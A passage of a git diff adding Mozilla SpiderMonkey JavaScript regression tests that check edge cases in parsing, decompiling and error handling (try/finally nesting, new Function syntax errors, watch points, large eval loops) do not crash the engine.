+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f = function() { for(p in {}) try{}catch(e){} };
+ print(f.toString());
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-349482-02.js b/js/src/tests/js1_5/Regress/regress-349482-02.js
new file mode 100644
index 000000000..4dffe81d3
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-349482-02.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 349482;
+var summary = 'Decompiling try/catch in with() should not crash';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f = function() { with({}) { try{}catch(e){} } }
+ print(f.toString());
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-349592.js b/js/src/tests/js1_5/Regress/regress-349592.js
new file mode 100644
index 000000000..64eef3447
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-349592.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 349592;
+var summary = 'Do not assert with try/finally inside finally';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (function() { try { } finally { try { } finally { } } });
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-350253.js b/js/src/tests/js1_5/Regress/regress-350253.js
new file mode 100644
index 000000000..154c835a1
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-350253.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350253;
+var summary = 'Do not assert on (g()) = 3';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ (g()) = 3;
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-350268.js b/js/src/tests/js1_5/Regress/regress-350268.js
new file mode 100644
index 000000000..78e836b17
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-350268.js
@@ -0,0 +1,74 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350268;
+var summary = 'new Function with unbalanced braces';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f;
+
+ try
+ {
+ expect = 'SyntaxError';
+ actual = 'No Error';
+ f = new Function("}");
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary + ": }");
+
+ try
+ {
+ expect = 'SyntaxError';
+ actual = 'No Error';
+ f = new Function("}}}}}");
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary + ": }}}}}");
+
+ try
+ {
+ expect = 'SyntaxError';
+ actual = 'No Error';
+ f = new Function("alert(6); } alert(5);");
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary + ": alert(6); } alert(5);");
+
+ try
+ {
+ expect = 'SyntaxError';
+ actual = 'No Error';
+ f = new Function("} {");
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary + ": } {");
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-350312.js b/js/src/tests/js1_5/Regress/regress-350312.js
new file mode 100644
index 000000000..4b54f1e95
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-350312.js
@@ -0,0 +1,80 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350312;
+var summary = 'Accessing wrong stack slot with nested catch/finally';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var counter = 0;
+
+ function f(x,y) {
+
+ try
+ {
+ throw x;
+ }
+ catch(e)
+ {
+ if (y)
+ throw e;
+ }
+ finally
+ {
+ try
+ {
+ actual += 'finally,';
+ throw 42;
+ }
+ catch(e2)
+ {
+ actual += e2;
+ if (++counter > 10)
+ {
+ throw 'Infinite loop...';
+ }
+ }
+ }
+ return 'returned';
+ }
+
+ expect = 'finally,42';
+ actual = '';
+
+ try
+ {
+ print('test 1');
+ f(2, 1);
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+
+ actual = '';
+ try
+ {
+ print('test 2');
+ f(2, 0);
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-350415.js b/js/src/tests/js1_5/Regress/regress-350415.js
new file mode 100644
index 000000000..0775e2b39
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-350415.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350415;
+var summary = 'Do not assert with new Function("let /*")';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ new Function("let /*");
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-350529.js b/js/src/tests/js1_5/Regress/regress-350529.js
new file mode 100644
index 000000000..ae0d6f042
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-350529.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350529;
+var summary = "Do not assert: x--'";
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval("x--'");
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-350692.js b/js/src/tests/js1_5/Regress/regress-350692.js
new file mode 100644
index 000000000..d28d7f543
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-350692.js
@@ -0,0 +1,38 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350692;
+var summary = 'import x["y"]["z"]';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var x = {y: {z: function() {}}};
+
+ try
+ {
+ import x['y']['z'];
+ }
+ catch(ex)
+ {
+ reportCompare('TypeError: x["y"]["z"] is not exported', ex + '', summary);
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-351116.js b/js/src/tests/js1_5/Regress/regress-351116.js
new file mode 100644
index 000000000..b5723320e
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-351116.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(xulRuntime.OS=="Linux"&&!xulRuntime.shell&&!xulRuntime.XPCOMABI.match(/x86_64/)&&isDebugBuild) -- bug 521549
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351116;
+var summary = 'formal parameter and inner function have same name';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f = function (s) { function s() { } };
+
+ function g(s) { function s() { } }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-351515.js b/js/src/tests/js1_5/Regress/regress-351515.js
new file mode 100644
index 000000000..46963660f
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-351515.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351515;
+var summary = 'js17 features must be enabled by version request';
+var actual = 'No Error';
+var expect = 'No Error';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+yield = 1;
+let = 1;
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(yield, let) { return yield+let; }
+
+ var yield = 1;
+ var let = 1;
+
+ function yield() {}
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-352208.js b/js/src/tests/js1_5/Regress/regress-352208.js
new file mode 100644
index 000000000..279ba0bb5
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-352208.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352208;
+var summary = 'Do not assert new Function("setter/*\n")';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'SyntaxError: unterminated string literal';
+ try
+ {
+ eval('new Function("setter/*\n");');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, 'new Function("setter/*\n");');
+
+ try
+ {
+ eval('new Function("setter/*\n*/");');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, 'new Function("setter/*\n*/");');
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-352604.js b/js/src/tests/js1_5/Regress/regress-352604.js
new file mode 100644
index 000000000..a0094c588
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-352604.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352604;
+var summary = 'Do not assert: !OBJ_GET_PROTO(cx, ctor)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ delete Function;
+ var x = function () {};
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-354924.js b/js/src/tests/js1_5/Regress/regress-354924.js
new file mode 100644
index 000000000..8446c90fb
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-354924.js
@@ -0,0 +1,32 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 354924;
+var summary = 'Do not crash with export/import and setter';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ this.x setter= function(){};
+ export *;
+ t = this;
+ new Function("import t.*; import t.*;")();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-355341.js b/js/src/tests/js1_5/Regress/regress-355341.js
new file mode 100644
index 000000000..ab2a4b884
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-355341.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355341;
+var summary = 'Do not crash with watch and setter';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ Object.defineProperty(this, "x", { set: Function, enumerable: true, configurable: true });
+ this.watch('x', function () { }); x = 3;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-355344.js b/js/src/tests/js1_5/Regress/regress-355344.js
new file mode 100644
index 000000000..00bd39147
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-355344.js
@@ -0,0 +1,49 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355344;
+var summary = 'Exceptions thrown by watch point';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var o = {};
+
+ expect = 'setter: yikes';
+
+ o.watch('x', function(){throw 'yikes'});
+ try
+ {
+ o.x = 3;
+ }
+ catch(ex)
+ {
+ actual = "setter: " + ex;
+ }
+
+ try
+ {
+ eval("") ;
+ }
+ catch(e)
+ {
+ actual = "eval: " + e;
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-355556.js b/js/src/tests/js1_5/Regress/regress-355556.js
new file mode 100644
index 000000000..be9efb56c
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-355556.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355556;
+var summary = 'Do not crash with eval(..., arguments)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'TypeError: "foo".b is not a function';
+ try
+ {
+ (function () { eval("'foo'.b()", arguments) })();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-355829-01.js b/js/src/tests/js1_5/Regress/regress-355829-01.js
new file mode 100644
index 000000000..9b7fcf746
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-355829-01.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355829;
+var summary = 'Do not assert: !argc || argv[0].isNull() || argv[0].isUndefined()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ new Object({valueOf: /a/});
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-355829-02.js b/js/src/tests/js1_5/Regress/regress-355829-02.js
new file mode 100644
index 000000000..f1fb22ea4
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-355829-02.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355829;
+var summary = 'js_ValueToObject should return the original object if OBJ_DEFAULT_VALUE returns a primitive value';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'Good conversion';
+
+ var primitiveValues = [
+ true, false, 0, 1, -2, 0.1, -2e100, 0/0, 1/0, -1/1, "", "xxx",
+ undefined, null
+ ];
+
+ for (var i = 0; i != primitiveValues.length; ++i) {
+ var v = primitiveValues[i];
+ var obj = { valueOf: function() { return v; } };
+ var obj2 = Object(obj);
+ if (obj !== obj2)
+ actual = "Bad conversion for '"+v + "'";
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-355829-03.js b/js/src/tests/js1_5/Regress/regress-355829-03.js
new file mode 100644
index 000000000..449ef02d5
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-355829-03.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355829;
+var summary = 'js_ValueToObject should return the original object if OBJ_DEFAULT_VALUE returns a primitive value';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var a = [ { valueOf: function() { return null; } } ];
+ a.toLocaleString();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-356250.js b/js/src/tests/js1_5/Regress/regress-356250.js
new file mode 100644
index 000000000..a989e07d0
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-356250.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 356250;
+var summary = 'Do not assert: !fp->fun || !(fp->fun->flags & JSFUN_HEAVYWEIGHT) || fp->callobj';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+(function() { eval("(function() { })"); })();
+reportCompare(expect, actual, summary + ': nested 0');
+
+//-----------------------------------------------------------------------------
+test1();
+test2();
+//-----------------------------------------------------------------------------
+
+function test1()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (function() { eval("(function() { })"); })();
+
+ reportCompare(expect, actual, summary + ': nested 1');
+
+ exitFunc ('test');
+}
+
+function test2()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (function () {(function() { eval("(function() { })"); })();})();
+
+ reportCompare(expect, actual, summary + ': nested 2');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-356693.js b/js/src/tests/js1_5/Regress/regress-356693.js
new file mode 100644
index 000000000..b9d348f65
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-356693.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 356693;
+var summary = 'Do not assert: pn2->pn_op == JSOP_SETCALL';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'ReferenceError: x is not defined';
+ try
+ {
+ delete (0 ? 3 : x());
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-360969-01.js b/js/src/tests/js1_5/Regress/regress-360969-01.js
new file mode 100644
index 000000000..b57110d8e
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-360969-01.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(Android&&isDebugBuild) slow -- bug 1216226
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 360969;
+var summary = '2^17: local var';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var global = this;
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var start = new Date();
+ var p;
+ var i;
+ var limit = 2 << 16;
+
+ for (var i = 0; i < limit; i++)
+ {
+ eval('var pv;');
+ }
+
+ reportCompare(expect, actual, summary);
+
+ var stop = new Date();
+
+ print('Elapsed time: ' + Math.floor((stop - start)/1000) + ' seconds');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-360969-02.js b/js/src/tests/js1_5/Regress/regress-360969-02.js
new file mode 100644
index 000000000..7ab7efed1
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-360969-02.js
@@ -0,0 +1,32 @@
+// |reftest| skip-if(Android&&isDebugBuild) slow -- bug 1216226
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 360969;
+var summary = '2^17: global var';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var global = this;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var start = new Date();
+var p;
+var i;
+var limit = 2 << 16;
+
+for (var i = 0; i < limit; i++)
+{
+ eval('var pv;');
+}
+
+reportCompare(expect, actual, summary);
+
+var stop = new Date();
+
+print('Elapsed time: ' + Math.floor((stop - start)/1000) + ' seconds');
diff --git a/js/src/tests/js1_5/Regress/regress-360969-03.js b/js/src/tests/js1_5/Regress/regress-360969-03.js
new file mode 100644
index 000000000..312583dd9
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-360969-03.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(Android&&isDebugBuild) slow -- bug 1216226
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 360969;
+var summary = '2^17: local const';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var global = this;
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var start = new Date();
+ var p;
+ var i;
+ var limit = 2 << 16;
+
+ for (var i = 0; i < limit; i++)
+ {
+ eval('const pv' + i + ' = undefined;');
+ }
+
+ reportCompare(expect, actual, summary);
+
+ var stop = new Date();
+
+ print('Elapsed time: ' + Math.floor((stop - start)/1000) + ' seconds');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-360969-04.js b/js/src/tests/js1_5/Regress/regress-360969-04.js
new file mode 100644
index 000000000..d33dbbc21
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-360969-04.js
@@ -0,0 +1,32 @@
+// |reftest| skip-if(Android&&isDebugBuild) slow -- bug 1216226
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 360969;
+var summary = '2^17: global const';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var global = this;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var start = new Date();
+var p;
+var i;
+var limit = 2 << 16;
+
+for (var i = 0; i < limit; i++)
+{
+ eval('const pv' + i + ' = undefined;');
+}
+
+reportCompare(expect, actual, summary);
+
+var stop = new Date();
+
+print('Elapsed time: ' + Math.floor((stop - start)/1000) + ' seconds');
diff --git a/js/src/tests/js1_5/Regress/regress-360969-05.js b/js/src/tests/js1_5/Regress/regress-360969-05.js
new file mode 100644
index 000000000..54b4d6829
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-360969-05.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(Android&&isDebugBuild) slow -- bug 1216226
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
